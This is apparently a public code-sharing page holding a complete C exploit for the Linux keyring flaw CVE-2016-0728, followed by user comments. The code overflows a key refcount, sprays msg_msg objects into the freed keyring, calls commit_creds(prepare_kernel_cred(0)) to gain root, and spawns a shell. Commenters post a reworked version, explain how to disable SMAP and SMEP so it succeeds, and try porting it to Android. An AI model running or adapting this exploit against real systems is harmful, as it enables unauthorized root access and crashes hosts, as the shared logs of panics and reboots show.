cve_2016_0728 exploit

cve_2016_0728.c

/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)



struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}

I don't quite understand how the refcount ends at 0:
I count 1 refcount at line 89
0xfffffffc more refcounts in the for loop at 102
and finally five more refcounts in the last loop at 114

so the refcount ends at 2 after wrapping around?

It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.


then the vm freeze.

when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,

@mah0ne, could you provide your changed code?

@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,

#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/* TODO the address */
_commit_creds commit_creds = (_commit_creds)0xffffffff81091a70;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81091d70;

struct key_type {
    const char *name;
    size_t def_datalen;
    void *vet_desc;
    void *preparse;
    void *free_preparse;
    void *instantiate;
    void *update;
    void *match_preparse;
    void *match_free;
    void *revoke;
    void *destroy;
};

/* key_revoke(struct key *key) */
void exploit(void *key)
{
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <key>", argv[0]);
        return -1;
    }

    int pid;
    size_t i = 0;
    unsigned long l = 0x100000000/2;
    key_serial_t serial = -1;

    /* prepare key_type structure */
    struct key_type *m_key = malloc(sizeof(struct key_type));
    m_key->revoke = (void *)exploit;

    /* set msg_msg structure, is 0xb8 size */
    int msgid;
    struct msg_tail {
        long mtype;
        char mtext[0xb8-0x30];
    } msgp = {0x4141414141414141, {0}};

    memset(msgp.mtext, 'A', sizeof(msgp.mtext));
    *(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */
    *(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */
    *(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */
    *(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key;
    if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("[-] msgget");
        return -1;
    }

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
           KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    fprintf(stderr, "[+] increfs...\n");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffffUL - l)) {
            sleep(5);
            l = l/2;
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);

    for (i = 0; i < 3; i++) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    fprintf(stderr, "[+] finish increfs\n");
    sleep(9);

    fprintf(stderr, "[+] fork...\n");
    for (i = 0; i < 64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("[-] fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msgid = msgget(IPC_PRIVATE, 0644 |
                        IPC_CREAT)) == -1) {
                perror("[-] msgget");
                exit(1);
            }
            for (i = 0; i < 256; i++) {
                if (msgsnd(msgid, &msgp,
                       sizeof(msgp.mtext), 0) == -1) {
                    perror("[-] msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }

    fprintf(stderr, "exploit...\n");
    sleep(5);
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1)
        perror("[+] keyctl_revoke");

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;

@mah0ne how did you deactivate smap and smep? Thanks.

@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)

Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64

[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$

Is it safe to run this PoC in production environment for checking if the patch has been applied?

no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:

• on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
• on CentOS 7 with kernel 3.10, it caused a reboot.

• 

i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Deletion keyutils.h, who can give me a document.
thank you..

dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...

[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$

Whats wrong ?

So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$

i got the following error in android 7.1.1 in nexus6p:

"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"

@bactis can you please publish your final exploit including the make file?

@bactis
i attached here my make file and android.mk.
currently i get the following error:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2

@bactis
i attached here the android.mk and make file.
currently this is the error i get:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''

i use @mah0ne 's kernel number and success to exploit.

ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg